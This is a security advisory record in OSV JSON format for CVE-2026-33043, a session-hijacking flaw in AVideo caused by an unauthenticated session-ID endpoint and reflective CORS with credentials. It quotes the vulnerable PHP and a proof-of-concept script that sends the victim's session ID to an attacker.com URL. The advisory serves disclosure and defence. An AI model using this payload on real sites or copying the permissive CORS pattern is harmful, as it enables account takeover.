CVE-2026-33043: Wwbn/avideo AVideo Affected By Session Hijacking Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qc3p-398r-p59j",
  "modified" : "2026-03-20T21:23:00Z",
  "published" : "2026-03-17T19:52:28Z",
  "aliases" : [ "CVE-2026-33043" ],
  "summary" : "AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS",
  "details" : "### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n<script>\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;\n});\n</script>\n```\n\nWhen a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "25.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33043"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T19:52:28Z",
    "nvd_published_at" : "2026-03-20T06:16:12Z"
  }
}